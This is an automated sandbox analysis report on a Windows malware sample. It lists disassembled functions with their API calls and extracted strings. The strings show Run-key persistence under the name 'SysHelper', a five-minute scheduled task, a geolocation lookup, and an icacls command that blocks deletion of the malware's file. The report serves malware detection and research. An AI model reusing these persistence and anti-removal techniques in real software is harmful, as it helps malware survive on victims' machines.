Instruction Fuzzy Hash: 1A516DB1E4020DBAEF11DFA1DC4AFEEBB78FB04704F101029F955B6180E775AA058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 05E7F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E7F4B7
__CxxThrowException@8.LIBCMT ref: 05E7F4E2
__CxxThrowException@8.LIBCMT ref: 05E7F504
__CxxThrowException@8.LIBCMT ref: 05E7F535
_memset.LIBCMT ref: 05E7F554
__CxxThrowException@8.LIBCMT ref: 05E7F57A
_sprintf.LIBCMT ref: 05E7F594

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 3d23699bcd10149e24ced438e3471e3668aa18e91e04cb71a5f38b60680c866c
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 74515071E40209ABDF15DFA1DC85FFEBBB8FB04744F101129F995B6180E774AA058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 05EB208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 05EB20C6
__invoke_watson.LIBCMT ref: 05EB2120
_strlen.LIBCMT ref: 05EB20D4

Part of subcall function 05E95BA8: __getptd_noexit.LIBCMT ref: 05E95BA8

_strnlen.LIBCMT ref: 05EB215F
__lock.LIBCMT ref: 05EB2170
__getenv_helper_nolock.LIBCMT ref: 05EB217B

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 4edc9939a92b1df2adc077d0c2bdf55311abe3ae2ed18effb2936842949cd019
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: FC31EA36B043156BFF257F649C08BEF3795AF05A26F106415EB85EB180EBB4894187A1

Uniqueness

Uniqueness Score: -1.00%

Function 05E82670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E826DB
_memset.LIBCMT ref: 05E82A30
_memset.LIBCMT ref: 05E82AC0

Strings

D, xrefs: 05E82AC8

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: db3c1e2a6b3e551d86125457dba9f58398ddce4eb03c49b75944ee4c8f2ec38c
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: F9E18C75D00219ABDF24EBA0CD89FEEB7B9BF04304F0450A9E64EB6190EB746A45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 05E7D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E7D8EA

Strings

$, xrefs: 05E7DAE2
, xrefs: 05E7DADB
(, xrefs: 05E7DAE9

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 97183507f56eb3b5f0e34c04f574758064c719000e192426c6e65f76ac16515f
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 1291CE71D0021CAAEF20DFA0CD49BEEBBB5BF05304F245068D599B72C0DBB25A48CB65

Uniqueness

Uniqueness Score: -1.00%

Function 05E8A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E8A858
_memset.LIBCMT ref: 05E8A869
_memset.LIBCMT ref: 05E8A87A

Strings

p2Q, xrefs: 05E8A882

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: b338f93906ab4aa8c2274baa33a45708519ae92e55b5a19bf64df190bdeefaad
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 30F0ED78698750A5FB217750BC2AB857E917B31F08F105088E1582E2E1D3FD238CA7DA

Uniqueness

Uniqueness Score: -1.00%

Function 05EBFBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05EBFBF1

Part of subcall function 05EA169C: std::exception::_Copy_str.LIBCMT ref: 05EA16B5

__CxxThrowException@8.LIBCMT ref: 05EBFC06

Strings

TeM, xrefs: 05EBFBFE
TeM, xrefs: 05EBFBFB, 05EBFBE7

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: f0c8c0bbe4d6be603e71d5cd99031cb46eb1d32e67305b22ba27af810631780c
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: B8D06775D0020CBBCB04EFA5D459CDDBBB8AA44344F0084A6A9549B241EB74A349CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05E7D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 05E9197D: __wfsopen.LIBCMT ref: 05E91988

_fgetws.LIBCMT ref: 05E7D15C

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: f43706d6dd8303e5fbf68efca5af17b39c8cf347a75a8c61adabea5e43cac123
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: BA91A271E00319ABDF20DFA4CE44BAEB7B5BF04314F142529E899A3240E775AA05CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05E7D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 05E7D77E
_malloc.LIBCMT ref: 05E7D7B2
_malloc.LIBCMT ref: 05E7D7C1
_fprintf.LIBCMT ref: 05E7D815

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: d6c8300f6b028321cb2cc55dba7a535f9b87dde7ecb2a880daf7e103ec6dd17d
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 88A19CB1D0024CEBEF11EFA4CC49BEEBB71AF14304F141068D5857A291E7B65A49CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 05E92AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E92B2E
__read_nolock.LIBCMT ref: 05E92BFE
__filbuf.LIBCMT ref: 05E92C21
_memset.LIBCMT ref: 05E92C65

Part of subcall function 05E95BA8: __getptd_noexit.LIBCMT ref: 05E95BA8

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 8cb729c547487b2cf4da70b00ec6d25ad2433b3935c1cc15aa5baf38195ac4c9
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: D551B578B04305BBEF2DCF6988845AE77F6BF40324F149729EAB5962D0E7719950CB80

Uniqueness

Uniqueness Score: -1.00%

Function 05EB1359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 05EB137D

Part of subcall function 05EB1A9D: __fltout2.LIBCMT ref: 05EB1AC6

__cftog_l.LIBCMT ref: 05EB13A3
__cftoe_l.LIBCMT ref: 05EB13D5

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: bf67ba1e0787860584ddc37e8cbbb6d2487924f97c771e39e1470de8b9bf129f
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: DD017E3280414AFBEF1A5E84DC15CEE3F63BB18266F099514FA9958430E2B2C5B1EB81

Uniqueness

Uniqueness Score: -1.00%

Function 05F37A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 05F37A4B

Part of subcall function 05F38140: ___BuildCatchObjectHelper.LIBCMT ref: 05F38172
Part of subcall function 05F38140: ___AdjustPointer.LIBCMT ref: 05F38189

_UnwindNestedFrames.LIBCMT ref: 05F37A62
___FrameUnwindToState.LIBCMT ref: 05F37A74
CallCatchBlock.LIBCMT ref: 05F37A98

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: cd4bc1af828f1e691aa1e1933d3f6046800485ed341ae5833bcf42b7b6007a42
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 36011732501109BBEF12AF55CC06EEA3BBAFF49754F148014FD1866120C33AEA61DBA0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 8jvTeVxooN.exePID: 2700, Parent PID: 7120COMMON

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	36%
Total number of Nodes:	828
Total number of Limit Nodes:	23

Executed Functions

Function 00419F90 Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,0064AE18,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
I:\5d2860c89d774.jpg, xrefs: 0041B32F
x*P, xrefs: 0041ACE4
C:\Program Files\Google\, xrefs: 0041AFB9
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
D:\Program Files\Google\, xrefs: 0041B0EE
IsAutoStart, xrefs: 0041A1D0, 0041A273
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
<, xrefs: 0041A67B
7P, xrefs: 0041B164
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
%username%, xrefs: 0041B283
C:\Windows\, xrefs: 0041AE0F
--ForNetRes, xrefs: 0041A22E
runas, xrefs: 0041A6CE
D:\Windows\, xrefs: 0041AFF3
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
F:\, xrefs: 0041B397
--Service, xrefs: 0041A30B
IsTask, xrefs: 0041A1EE, 0041A299
IsNotAutoStart, xrefs: 0041A645
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
--Task, xrefs: 0041A2CD
D:\Program Files (x86)\Google\, xrefs: 0041B085
IsNotTask, xrefs: 0041A654
X1P, xrefs: 0041A485
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
list<T> too long, xrefs: 0041B669, 0041B673
x2Q, xrefs: 0041A856
--AutoStart, xrefs: 0041A2EC
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
--Admin, xrefs: 0041A1B4, 0041A632

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3144399390
Opcode ID: d015b84eba4a4434be79b711f18dbc426407edb0061b691a0cb40fbdcb0bdc00
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: d015b84eba4a4434be79b711f18dbc426407edb0061b691a0cb40fbdcb0bdc00
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

PT5M, xrefs: 0040D5A1, 0040D66C
Time Trigger Task, xrefs: 0040D43C, 0040D973
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
2030-05-02T08:00:00, xrefs: 0040D737
Trigger1, xrefs: 0040D6FA
Author Name, xrefs: 0040D4C8
--Task, xrefs: 0040D8DD
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

Psapi.dll, xrefs: 0041228C
kernel32.dll, xrefs: 0041224E
EnumProcesses, xrefs: 00412264, 00412299
EnumProcessModules, xrefs: 0041226C, 004122A1
GetModuleBaseNameW, xrefs: 00412277, 004122AC

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

"country_code":", xrefs: 0040CFE1
Microsoft Internet Explorer, xrefs: 0040CF5A
https://api.2ip.ua/geo.json, xrefs: 0040CF79

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

icacls ", xrefs: 0041214C
SHGetFolderPathW, xrefs: 00411E9F
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
SysHelper, xrefs: 00411D5B, 004120EB
D, xrefs: 00412128
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
" --AutoStart, xrefs: 00411DD1
" --AutoStart, xrefs: 004120C2
Shell32.dll, xrefs: 00411E94

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

